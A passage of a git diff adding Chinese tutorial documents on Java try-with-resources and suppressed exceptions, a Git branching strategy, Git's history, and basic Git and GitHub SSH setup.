BufferedReader br = null; + try { + String path = TrycatchfinallyDecoder.class.getResource("/牛逼.txt").getFile(); + String decodePath = URLDecoder.decode(path,"utf-8"); + br = new BufferedReader(new FileReader(decodePath)); + + String str = null; + while ((str =br.readLine()) != null) { + System.out.println(str); + } + } catch (IOException e) { + e.printStackTrace(); + } finally { + if (br != null) { + try { + br.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + } +} +``` + +“我简单来解释下。”等三妹看完这段代码后,我继续说,“在 try 块中读取文件中的内容,并一行一行地打印到控制台。如果文件找不到或者出现 IO 读写错误,就在 catch 中捕获并打印错误的堆栈信息。最后,在 finally 中关闭缓冲字符读取器对象 BufferedReader,有效杜绝了资源未被关闭的情况下造成的严重性能后果。” + +“在 Java 7 之前,try–catch-finally 的确是确保资源会被及时关闭的最佳方法,无论程序是否会抛出异常。” + +三妹点了点头,表示同意。 + +“不过,这段代码还是有些臃肿,尤其是 finally 中的代码。”我说,“况且,try–catch-finally 至始至终存在一个严重的隐患:try 中的 `br.readLine()` 有可能会抛出 `IOException`,finally 中的 `br.close()` 也有可能会抛出 `IOException`。假如两处都不幸地抛出了 IOException,那程序的调试任务就变得复杂了起来,到底是哪一处出了错误,就需要花一番功夫,这是我们不愿意看到的结果。” + +“我来给你演示下,三妹。” + +“首先,我们来定义这样一个类 MyfinallyReadLineThrow,它有两个方法,分别是 `readLine()` 和 `close()`,方法体都是主动抛出异常。” + +```java +class MyfinallyReadLineThrow { + public void close() throws Exception { + throw new Exception("close"); + } + + public void readLine() throws Exception { + throw new Exception("readLine"); + } +} +``` + +“然后在 `main()` 方法中使用 try-catch-finally 的方式调用 MyfinallyReadLineThrow 的 `readLine()` 和 `close()` 方法。” + +```java +public class TryfinallyCustomReadLineThrow { + public static void main(String[] args) throws Exception { + MyfinallyReadLineThrow myThrow = null; + try { + myThrow = new MyfinallyReadLineThrow(); + myThrow.readLine(); + } finally { + myThrow.close(); + } + } +} +``` + +运行上述代码后,错误堆栈如下所示: + +``` +Exception in thread "main" java.lang.Exception: close + at com.cmower.dzone.trycatchfinally.MyfinallyOutThrow.close(TryfinallyCustomOutThrow.java:17) + at com.cmower.dzone.trycatchfinally.TryfinallyCustomOutThrow.main(TryfinallyCustomOutThrow.java:10) +``` + +“看出来问题了吗,三妹?” + +“啊?`readLine()` 方法的异常信息竟然被 `close()` 方法的堆栈信息吃了!” + +“不错啊,三妹,火眼金睛,的确,这会让我们误以为要调查的目标是 `close()` 方法而不是 `readLine()` 方法——尽管它也是应该怀疑的对象。” + +“但有了 try-with-resources 后,这些问题就迎刃而解了。前提条件只有一个,就是需要释放的资源(比如 BufferedReader)实现了 AutoCloseable 接口。” + +```java +try (BufferedReader br = new BufferedReader(new FileReader(decodePath));) { + String str = null; + while ((str =br.readLine()) != null) { + System.out.println(str); + } +} catch (IOException e) { + e.printStackTrace(); +} +``` + +“你瞧,三妹,finally 块消失了,取而代之的是把要释放的资源写在 try 后的 `()` 中。如果有多个资源(BufferedReader 和 PrintWriter)需要释放的话,可以直接在 `()` 中添加。” + +```java +try (BufferedReader br = new BufferedReader(new FileReader(decodePath)); + PrintWriter writer = new PrintWriter(new File(writePath))) { + String str = null; + while ((str =br.readLine()) != null) { + writer.print(str); + } +} catch (IOException e) { + e.printStackTrace(); +} +``` + +“如果想释放自定义资源的话,只要让它实现 AutoCloseable 接口,并提供 `close()` 方法即可。” + +```java +public class TrywithresourcesCustom { + public static void main(String[] args) { + try (MyResource resource = new MyResource();) { + } catch (Exception e) { + e.printStackTrace(); + } + } +} + +class MyResource implements AutoCloseable { + @Override + public void close() throws Exception { + System.out.println("关闭自定义资源"); + } +} +``` + +来看一下代码运行后的输出结果: + +``` +关闭自定义资源 +``` + +“好神奇呀!”三妹欣喜若狂,“在 `try ()` 中只是 new 了一个 MyResource 的对象,其他什么也没干,`close()` 方法就执行了!” + +“想知道为什么吗?三妹。” + +“当然想啊。” + +“来看看反编译后的字节码吧。” + +```java +class MyResource implements AutoCloseable { + MyResource() { + } + + public void close() throws Exception { + System.out.println("关闭自定义资源"); + } +} + +public class TrywithresourcesCustom { + public TrywithresourcesCustom() { + } + + public static void main(String[] args) { + try { + MyResource resource = new MyResource(); + resource.close(); + } catch (Exception var2) { + var2.printStackTrace(); + } + + } +} +``` + +“啊,原来如此。编译器主动为 try-with-resources 进行了变身,在 try 中调用了 `close()` 方法。” + +“是这样的。接下来,我们在 `MyResourceOut` 类中再添加一个 `out()` 方法。” + +```java +class MyResourceOut implements AutoCloseable { + @Override + public void close() throws Exception { + System.out.println("关闭自定义资源"); + } + + public void out() throws Exception{ + System.out.println("沉默王二,一枚有趣的程序员"); + } +} +``` + +“这次,我们在 try 中调用一下 `out()` 方法。” + +```java +public class TrywithresourcesCustomOut { + public static void main(String[] args) { + try (MyResourceOut resource = new MyResourceOut();) { + resource.out(); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +“再来看一下反编译的字节码。” + +``` +public class TrywithresourcesCustomOut { + public TrywithresourcesCustomOut() { + } + + public static void main(String[] args) { + try { + MyResourceOut resource = new MyResourceOut(); + + try { + resource.out(); + } catch (Throwable var5) { + try { + resource.close(); + } catch (Throwable var4) { + var5.addSuppressed(var4); + } + + throw var5; + } + + resource.close(); + } catch (Exception var6) { + var6.printStackTrace(); + } + + } +} +``` + +“这次,`catch` 块主动调用了 `resource.close()`,并且有一段很关键的代码 ` var5.addSuppressed(var4)`。” + +“这是为了什么呢?”三妹问。 + +“当一个异常被抛出的时候,可能有其他异常因为该异常而被抑制住,从而无法正常抛出。这时可以通过 `addSuppressed()` 方法把这些被抑制的方法记录下来,然后被抑制的异常就会出现在抛出的异常的堆栈信息中,可以通过 `getSuppressed()` 方法来获取这些异常。这样做的好处是不会丢失任何异常,方便我们进行调试。”我说。 + +“有没有想到之前的那个例子——在 try-catch-finally 中,`readLine()` 方法的异常信息竟然被 `close()` 方法的堆栈信息吃了。现在有了 try-with-resources,再来看看和 `readLine()` 方法一致的 `out()` 方法会不会被 `close()` 吃掉吧。” + +```java +class MyResourceOutThrow implements AutoCloseable { + @Override + public void close() throws Exception { + throw new Exception("close()"); + } + + public void out() throws Exception{ + throw new Exception("out()"); + } +} +``` + +“调用这 2 个方法。” + +```java +public class TrywithresourcesCustomOutThrow { + public static void main(String[] args) { + try (MyResourceOutThrow resource = new MyResourceOutThrow();) { + resource.out(); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +“程序输出的结果如下所示。” + +``` +java.lang.Exception: out() + at com.cmower.dzone.trycatchfinally.MyResourceOutThrow.out(TrywithresourcesCustomOutThrow.java:20) + at com.cmower.dzone.trycatchfinally.TrywithresourcesCustomOutThrow.main(TrywithresourcesCustomOutThrow.java:6) + Suppressed: java.lang.Exception: close() + at com.cmower.dzone.trycatchfinally.MyResourceOutThrow.close(TrywithresourcesCustomOutThrow.java:16) + at com.cmower.dzone.trycatchfinally.TrywithresourcesCustomOutThrow.main(TrywithresourcesCustomOutThrow.java:5) +``` + +“瞧,这次不会了,`out()` 的异常堆栈信息打印出来了,并且 `close()` 方法的堆栈信息上加了一个关键字 `Suppressed`,一目了然。” + +“三妹,怎么样?是不是感觉 try-with-resouces 好用多了!我来简单总结下哈,在处理必须关闭的资源时,始终有限考虑使用 try-with-resources,而不是 try–catch-finally。前者产生的代码更加简洁、清晰,产生的异常信息也更靠谱。” + +“靠谱!”三妹说。 + + + + diff --git a/docs/git/fenzhi.md b/docs/git/fenzhi.md new file mode 100644 index 0000000000..74f7880308 --- /dev/null +++ b/docs/git/fenzhi.md @@ -0,0 +1,144 @@ +相比同类软件,Git有很多优点。其中很显著的一点,就是版本的分支(branch)和合并(merge)十分方便。 + +有些传统的版本管理软件,分支操作实际上会生成一份现有代码的物理拷贝,而Git只生成一个指向当前版本(又称"快照")的指针,因此非常快捷易用。 + +但是,太方便了也会产生副作用。如果你不加注意,很可能会留下一个枝节蔓生、四处开放的版本库,到处都是分支,完全看不出主干发展的脉络。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/fenzhi-01.png) + + +那有没有一个好的分支策略呢?答案当然是有的。 + +### 一、主分支Master + +首先,代码库应该有一个、且仅有一个主分支。所有提供给用户使用的正式版本,都在这个主分支上发布。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/fenzhi-02.png) + +Git主分支的名字,默认叫做Master。它是自动建立的,版本库初始化以后,默认就是在主分支在进行开发。 + +### 二、开发分支Develop + +主分支只用来发布重大版本,日常开发应该在另一条分支上完成。我们把开发用的分支,叫做Develop。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/fenzhi-03.png) + +这个分支可以用来生成代码的最新隔夜版本(nightly)。如果想正式对外发布,就在Master分支上,对Develop分支进行"合并"(merge)。 + +Git创建Develop分支的命令: + +``` +  git checkout -b develop master +``` + +将Develop分支发布到Master分支的命令: + +``` +  # 切换到Master分支 +  git checkout master + +  # 对Develop分支进行合并 +  git merge --no-ff develop +``` + +这里稍微解释一下上一条命令的--no-ff参数是什么意思。默认情况下,Git执行"快进式合并"(fast-farward merge),会直接将Master分支指向Develop分支。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/fenzhi-04.png) + +使用--no-ff参数后,会执行正常合并,在Master分支上生成一个新节点。为了保证版本演进的清晰,我们希望采用这种做法。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/fenzhi-05.png) + +### 三、临时性分支 + +前面讲到版本库的两条主要分支:Master和Develop。前者用于正式发布,后者用于日常开发。其实,常设分支只需要这两条就够了,不需要其他了。 + +但是,除了常设分支以外,还有一些临时性分支,用于应对一些特定目的的版本开发。临时性分支主要有三种: + +* 功能(feature)分支 +* 预发布(release)分支 +* 修补bug(fixbug)分支 + +这三种分支都属于临时性需要,使用完以后,应该删除,使得代码库的常设分支始终只有Master和Develop。 + +接下来,一个个来看这三种"临时性分支"。 + +**第一种是功能分支**,它是为了开发某种特定功能,从Develop分支上面分出来的。开发完成后,要再并入Develop。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/fenzhi-06.png) + +功能分支的名字,可以采用feature-*的形式命名。 + +创建一个功能分支: +``` +  git checkout -b feature-x develop +``` + +开发完成后,将功能分支合并到develop分支: + +``` +  git checkout develop + +  git merge --no-ff feature-x +``` + +删除feature分支: +``` +  git branch -d feature-x +``` + +**第二种是预发布分支**,它是指发布正式版本之前(即合并到Master分支之前),我们可能需要有一个预发布的版本进行测试。 + +预发布分支是从Develop分支上面分出来的,预发布结束以后,必须合并进Develop和Master分支。它的命名,可以采用release-*的形式。 + +创建一个预发布分支: +``` +  git checkout -b release-1.2 develop +``` +确认没有问题后,合并到master分支: +``` +  git checkout master + +  git merge --no-ff release-1.2 + +  # 对合并生成的新节点,做一个标签 +  git tag -a 1.2 +``` +再合并到develop分支: +``` +  git checkout develop + +  git merge --no-ff release-1.2 +``` +最后,删除预发布分支: +``` +  git branch -d release-1.2 +``` +**最后一种是修补bug分支**。软件正式发布以后,难免会出现bug。这时就需要创建一个分支,进行bug修补。 + +修补bug分支是从Master分支上面分出来的。修补结束以后,再合并进Master和Develop分支。它的命名,可以采用fixbug-*的形式。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/fenzhi-07.png) + +创建一个修补bug分支: +``` +  git checkout -b fixbug-0.1 master +``` +修补结束后,合并到master分支: +``` +  git checkout master + +  git merge --no-ff fixbug-0.1 + +  git tag -a 0.1.1 +``` +再合并到develop分支: +``` +  git checkout develop + +  git merge --no-ff fixbug-0.1 +``` +最后,删除"修补bug分支": +``` +  git branch -d fixbug-0.1 +``` \ No newline at end of file diff --git a/docs/git/git-qiyuan.md b/docs/git/git-qiyuan.md new file mode 100644 index 0000000000..75939fd0e9 --- /dev/null +++ b/docs/git/git-qiyuan.md @@ -0,0 +1,111 @@ + + +Git 是一个分布式版本控制系统,缔造者是大名鼎鼎的林纳斯·托瓦茲 (Linus Torvalds),Git 最初的目的是为了能更好的管理 Linux 内核源码。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/git-qiyuan-01.png) + +PS:**为了能够帮助更多的 Java 爱好者,已将《Java 程序员进阶之路》开源到了 GitHub(本篇已收录)。该专栏目前已经收获了 715 枚星标,如果你也喜欢这个专栏,觉得有帮助的话,可以去点个 star,这样也方便以后进行更系统化的学习**: + +[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer) + +*每天看着 star 数的上涨我心里非常的开心,希望越来越多的 Java 爱好者能因为这个开源项目而受益,而越来越多人的 star,也会激励我继续更新下去*~ + +大家都知道,Linux 内核是开源的,参与者众多,到目前为止,共有两万多名开发者给 Linux Kernel 提交过代码。 + +但在 1991 年到 2002 年期间,Linus 作为项目的管理员并没有借助任何配置管理工具,而是以手工方式通过 patch 来合并大家提交的代码。 + +倒不是说 Linus 喜欢手工处理,而是因为他对代码版本管理工具非常挑剔,无论是商用的 clearcase,还是开源的 CVS、SVN 都入不了他的法眼。 + +直到 2002 年,Linus 才相中了一款分布式版本控制系统 BitKeeper,虽然是商用的,但 BitKeeper 愿意让 Linux 社区免费使用,这让 Linus 非常开心和满意。 + +时间来到 2005 年,由于 BitKeeper 提供的默认接口不能满足 Linux 社区用户的全部需要,一位开发者在未经允许的情况下反编译了 BitKeeper 并利用了未公开的接口,于是 BitKeeper 的著作权拥有者拉里·麦沃伊就气愤地收回了 Linux 社区免费使用的权力。 + +没办法,Linus 只好自己硬着头皮上了。他对新的版本控制系统制订了若干目标: + +- 速度 +- 设计简单 +- 允许成千上万个并行开发的分支 +- 完全分布式 +- 有能力高效管理类似 Linux 内核一样的超大规模项目 + +结果,令人意想不到的是,Linus 只用了 10 天时间就用 C语言完成了第一个版本,嗯。。神就是神。并且给这个版本起了一个略带嘲讽意味的名字——Git(在英式英语俚语中表示“不愉快的人”)。 + +源代码的自述文件有进一步的阐述: + +>The name "git" was given by Linus Torvalds when he wrote the very first version. He described the tool as "the stupid content tracker" and the name as (depending on your way) + +从 Git 的设计上来看,有两种命令:分别是底层命令(Plumbing commands)和高层命令(Porcelain commands)。一开始,Linus 只设计了一些给开源社区的黑客们使用的符合 Unix KISS 原则的命令,因为黑客们本身就是动手高手,水管坏了就撸起袖子去修理,因此这些命令被称为 plumbing commands。 + +Linus 在提交了第一个 git commit 后,就向社区发布了 git 工具。当时,社区中有位叫 Junio Hamano 的开发者觉得这个工具很有意思,便下载了代码,结果发现一共才 1244 行代码,这更令他惊奇,也引发了极大的兴趣。Junio 在邮件列表与 Linus 交流并帮助增加了 merge 等功能,而后持续打磨 git,最后 Junio 完全接手了 Git 的维护工作,Linus 则回去继续维护 Linux Kernel 项目。 + +Junio Hamano 觉得 Linus 设计的这些命令对于普通用户不太友好,因此在此之上,封装了更易于使用、接口更精美的高层命令,也就是我们今天每天使用的 git add, git commit 之类。Git add 就是封装了 update-cache 命令,而 git commit 就是封装了 write-tree, commit-tree 命令。 + +如果选历史上最伟大的一次 Git 代码提交,那一定是这 Git 工具项目本身的第一次代码提交。这次代码提交无疑是开创性的,**如果说 Linux 项目促成了开源软件的成功并改写了软件行业的格局,那么 Git 则是改变了全世界开发者的工作方式和写作方式**。 + +如今,Git 已经成为全球软件开发者的标配。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/git-qiyuan-02.png) + +原本的 Git 只适用于 Unix/Linux 平台,但随着 Cygwin、msysGit 环境的成熟,以及 TortoiseGit 这样易用的GUI工具,Git 在 Windows 平台下也逐渐成熟。 + +>PS1:Cygwin 的主要目的是通过重新编译,将 POSIX 系统(例如Linux、BSD,以及其他Unix系统)上的软件移植到Windows上。 + +>PS2:msysGit 前面的 4 个字幕来源于 MSYS 项目,而 MSYS 又源于 MinGW(Minimalist GNU for Windows,最简GNU工具集),通过增加了一个由bash提供的shell环境以及其他相关工具软件,组成了一个最简系统(Minimal System),利用MinGW提供的工具,以及Git针对MinGW的一个分支版本,可以在Windows平台为Git编译出一个原生应用,结合MSYS就组成了msysGit。 + +Git 和传统的版本控制工具 CVS、SVN 有不小的区别,前者关心的是文件的整体性是否发生了改变,后两者更关心文件内容上的差异。 + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/git-qiyuan-03.png) + + +除此之外,Git 更像是一个文件系统,每个使用它的主机都可以作为版本库,并且不依赖于远程仓库而离线工作。开发者在本地就有历史版本的副本,因此就不用再被远程仓库的网络传输而束缚。 + +Git 中的绝大多数操作都只需要访问本地文件和资源,一般不需要来自网络上其它计算机的信息。因为在本地磁盘上就有项目的完整历史,所以 Git 的大部分操作看起来就像是在瞬间完成的。 + +在多人协作的情况下,Git 可以将本地仓库复制给其他开发者,那些发生改变的文件可以作为新增的分支被导入,再与本地仓库的进行分支合并。 + +如果你希望后面的学习更顺利,请记住 Git 这三种状态: + +- 已提交(committed),表示数据已经安全的保存在本地数据库中 +- 已修改(modified),表示修改了文件,但还没保存到数据库中 +- 已暂存(staged),表示对一个已修改文件的当前版本做了标记,使之包含在下次提交的快照中 + +由此引入了 Git 的三个工作区域: + +- Git 仓库,用来保存项目的元数据和对象数据库 +- 工作目录,对项目的某个版本进行独立提取 +- 暂存区域,保存了下次将提交的文件列表信息,也可以叫“索引” + +Git 的工作流程是这样的: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/git-qiyuan-04.png) + + +- 在工作目录中修改文件 +- 暂存文件,将文件的快照放入暂存区域 +- 提交更新,找到暂存区域的文件,将快照永久性存储到 Git 仓库目录 + +接下来,我们来看一下 **Git 的安装**,Linux 和 Windows 系统的安装大家可以到 Git 官网上查看安装方法,上面讲的非常详细。 + +>https://git-scm.com/downloads + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/git-qiyuan-05.png) + +我个人使用的 macOS 系统,可以直接使用 `brew install git` 命令安装,非常方便。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/git-qiyuan-06.png) + +安装成功后,再使用 `git --version` 就可以查看版本号了,我本机上安装的是 2.23.0 版本。 + +---- + +参考资料: + +>维基百科:https://zh.wikipedia.org/wiki/Git +>ProGit:https://www.progit.cn/ +>hutusi:[改变世界的一次代码提交](https://mp.weixin.qq.com/s/gM__sQPILkAKWsMejOO8cA) + + + + diff --git a/docs/git/jibenshiyong.md b/docs/git/jibenshiyong.md new file mode 100644 index 0000000000..5e874e7263 --- /dev/null +++ b/docs/git/jibenshiyong.md @@ -0,0 +1,218 @@ +对于新手来说,Git 操作确实容易给代码的版本库带来一些不必要的混乱,毕竟大学的时候,学习的重点在编程语言上,在计算机基础上。可一旦参加了工作,就必须得在代码版本库上狠下一番功夫了,毕竟要多人运动啊,不,多人协作啊。 + + +### 一、创建仓库 + +仓库,也就是 repository,可以简单理解为一个目录,这个目录里面的所有文件都将被 Git 管理起来,每个文件的一举一动,都将被 Git 记录下来,以便在任何时刻进行追踪和回滚。 + +新建一个文件夹,比如说 testgit,然后使用 `git init` 命令就可以把这个文件夹初始化为 Git 仓库了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-01.png) + + +初始化Git 仓库成功后,可以看到多了一个 .git 的目录,没事不要乱动,免得破坏了 Git 仓库的结构。 + +接下来,我们来新增一个文件 readme.txt,内容为“老铁,记得给二哥三连啊”,并将其提交到 Git 仓库。 + +第一步,使用 `git add` 命令将新增文件添加到暂存区。 + +第二步,使用 `git commit` 命令告诉 Git,把文件提交到仓库。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-02.png) + +可以使用 `git status` 来查看是否还有文件未提交。 + +也可以在文件中新增一行内容“传统美德不能丢,记得点赞哦~”,再使用 `git status` 来查看结果。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-03.png) + +如果想查看文件到底哪里做了修改,可以使用 `git diff` 命令: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-04.png) + +确认修改的内容后,可以使用 `git add` 和 `git commit` 再次提交。 + +### 二、版本回滚 + +再次对文件进行修改,追加一行内容为:“xxx,我爱你❤”,并且提交到 Git 仓库。 + +现在我已经对 readme.txt 文件做了三次修改了。可以通过 `git log` 命令来查看历史记录: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-05.png) + +也可以通过 `gitk` 这个命令来启动图形化界面来查看版本历史。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-06.png) + + +如果想回滚的话,比如说回滚到上一个版本,可以执行以下两种命令: + +1)`git reset --hard HEAD^`,上上个版本就是 `git reset --hard HEAD^^`,以此类推。 + +2)`git reset --hard HEAD~100`,如果回滚到前 100 个版本,用这个命令比上一个命令更方便。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-07.png) + +那假如回滚错了,想恢复,不记得版本号了,可以先执行 `git reflog` 命令查看版本号: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-08.png) + +然后再通过 `git reset --hard` 命令来恢复: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-09.png) + +### 三、工作区和暂存区的区别 + +工作区和暂存区的概念其实在前面的章节里强调过了,但考虑到有些小伙伴在 `git add` 和 `git commit` 命令之间仍然有一些疑惑,我们这里就再强调一次——学习知识就是这样,只有不厌其烦地重复,才能真正地理解和掌握。 + +1)**工作区**,比如说前面提到的 testgit 目录就属于工作区,我们操作的 readme.txt 文件就放在这个里面。 + +2)**暂存区**,隐藏目录 .git 不属于工作区,它(Git 仓库)里面存了很多东西,其中最重要的就是暂存区。 + +Git 在提交文件的时候分两步,第一步 `git add` 命令是把文件添加到暂存区,第二步 `git commit` 才会把暂存区的所有内容提交到 Git 仓库中。 + +“**为什么要先 add 才能 commit 呢?**” + +最直接的原因就是Linus 搞了这个“暂存区”的概念。那为什么要搞这个概念呢?没有暂存区不行吗? + +嗯,要回答这个问题,我们就需要追本溯源了。 + +在 Git 之前, SVN 是代码版本管理系统的集大成者。SVN 比之前的 CVS 更优秀的一点是,每次的提交可以由多个文件组成,并且这次提交是原子性的,要么全部成功,要么全部失败。 + +原子性带来的好处是显而易见的,这使得我们可以把项目整体还原到某个时间点,就这一点,SVN 就完虐 CVS 这些代码版本管理系统了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-10.png) + +Git 作为逼格最高的代码版本管理系统,自然要借鉴 SVN 这个优良特性的。但不同于 SVN 的是,Git 一开始搞的都是命令行,没有图形化界面,如果想要像 SVN 那样一次性选择多个文件或者不选某些文件(见上图),还真特喵的是个麻烦事。 + +对于像 Linus 这种天才级选手来说,图形化界面无疑是 low 逼,可命令行在这种情况下又实在是麻烦~ + +嗯,怎么办呢? + +神之所以为神,就是他能在遇到问题的时候想到完美的解决方案——搞个**暂存区**不就完事了? + +暂存区可以随意地将各种文件的修改放进去,只需要通过 `git add` 这种简单的命令就可以精心地挑选要提交哪些文件了,然后再一次性(原子性)的 `git commit` 到版本库,所有的问题都迎刃而解嘛。 + +我们在 testgit 目录下再新增一个文件 readyou.txt,内容为“二哥,我要和你约饭~~~”;并且在 readme.txt 文件中再追加一行内容“点赞、在看、留言、转发一条龙服务~”。 + +我们先用 `git status` 命令查看一下状态,再用 `git add` 将文件添加到暂存区,最后再用 `git commit` 一次性提交到 Git 仓库。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-11.png) + +### 四、撤销修改 + +现在,我在 readyou.txt 文件中追加了一行内容:“二哥,我想和你约会~~~”。在我想要提交的时候,突然发现追加的内容有误,我得恢复到以前的版本,该怎么办呢? + +1)我知道要修改的内容,直接修改,然后 add 和 commit 覆盖。 + +2)我忘记要修改哪些内容了,通过 `git reset -- hard HEAD` 恢复到上一个版本。 + +还有其他办法吗? + +答案当然是有了,其实在我们执行 `git status` 命令查看 Git 状态的时候,结果就提示我们可以使用 `git restore` 命令来撤销这次操作的。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-12.png) + +那其实在 git version 2.23.0 版本之前,是可以通过 `git checkout` 命令来完成撤销操作的。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-13.png) + +checkout 可以创建分支、导出分支、切换分支、从暂存区删除文件等等,一个命令有太多功能就容易让人产生混淆。2.23.0 版本改变了这种混乱局面,git switch 和 git restore 两个新的命令应运而生。 + +switch 专注于分支的切换,restore 专注于撤销修改。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-14.png) + +### 五、远程仓库 + +Git 是一款分布式版本控制系统,所以同一个 Git 仓库,可以分布到不同的机器上。一开始,只有一台机器和一个原始版本库,往后去,别的机器就可以从这台机器上拷贝原始版本,就像黑客帝国里的那个特工史密斯一样,没有任何区别。 + +这也是 Git 比集中式版本控制系统 SVN 特别的地方之一。 + +我们可以自己搭建一台每天 24 小时可以运转的 Git 服务器,然后其他人就从这台“服务器”中拷贝就行了。不过,因为 GitHub 的存在,自主搭建 Git 服务器这个步骤就可以省了。 + +从名字上就可以看得出来,GitHub 是用来提供 Git 仓库托管服务的,我们**只需要注册一个 GitHub 账号**,就可以免费获取一台每天可以运转 24 小时的 Git 远程服务器。 + +那其实在 GitHub 上有对应的中文帮助文档,来介绍如何通过 SSH 协议将本机和 GitHub 链接起来,从而不必在每次访问时提供用户名和密码。 + +>https://docs.github.com/cn/authentication/connecting-to-github-with-ssh/about-ssh + +**第一步,通过 `ls -al ~/.ssh` 命令检查 SSH 密钥是否存在** + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-15.png) + +如果没有 id_rsa.pub、id_ecdsa.pub、id_ed25519.pub 这 3 个文件,表示密钥不存在。 + +**第二步,生成新 SSH 密钥** + +执行以下命令,注意替换成你的邮箱: + +``` +ssh-keygen -t ed25519 -C "your_email@example.com +``` + +然后一路回车: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-16.png) + +记得复制一下密钥,在 id_ed25519.pub 文件中: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-17.png) + +**第三步,添加 SSH 密钥到 GitHub 帐户** + +在个人账户的 settings 菜单下找到 SSH and GPG keys,将刚刚复制的密钥添加到 key 这一栏中,点击「add SSH key」提交。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-18.png) + +Title 可不填写,提交成功后会列出对应的密钥: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-19.png) + +**为什么 GitHub 需要 SSH 密钥呢**? + +因为 GitHub 需要确认是“你本人”在往你自己的远程仓库上提交版本的,而不是别人冒充的。 + +**第四步,在 GitHub 上创建个人仓库** + +点击新建仓库,填写仓库名称等信息: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-20.png) + +**第五步,把本地仓库同步到 GitHub** + +复制远程仓库的地址: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-21.png) + +在本地仓库中执行 `git remote add` 命令将 GitHub 仓库添加到本地: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-22.png) + +当我们第一次使用Git 的 push 命令连接 GitHub 时,会得到一个警告⚠️: + +``` +The authenticity of host 'github.com (20.205.243.166)' can't be established. +ECDSA key fingerprint is SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM. +Are you sure you want to continue connecting (yes/no/[fingerprint])? yes +``` + +这是因为需要你手动确认,输入 yes 即可。 + +接下来,我们使用 `git push` 命令将当前本地分支推送到 GitHub。加上了 -u 参数后,Git 不但会把本地的 master 分支推送的远程 master 分支上,还会把本地的 master 分支和远程的master 分支关联起来,在以后的推送或者拉取时就可以简化命令(比如说 `git push github master`)。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-23.png) + +此时,我们刷一下 GitHub,可以看到多了一个 master 分支,并且本地的两个文件都推送成功了! + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-24.png) + +从现在开始,只要本地做了修改,就可以通过 `git push` 命令推送到 GitHub 远程仓库了。 + +还可以使用 `git clone` 命令将远程仓库拷贝到本地。比如说我现在有一个 3.4k star 的仓库 JavaBooks, + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-25.png) + +然后我使用 `git clone` 命令将其拷贝到本地。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/jibenshiyong-26.png) \ No newline at end of file diff --git a/docs/git/mingling.md b/docs/git/mingling.md new file mode 100644 index 0000000000..c4a83e8c37 --- /dev/null +++ b/docs/git/mingling.md @@ -0,0 +1,304 @@ +虽然每天多多少少都会敲一些 Git 命令,但仍然有很多记不住,可怜我这脑袋瓜子了。。 + +一般来说,日常使用只要记住下图中这 6 个命令就可以了,但是熟练使用 Git,恐怕要记住60~100个命令~ + 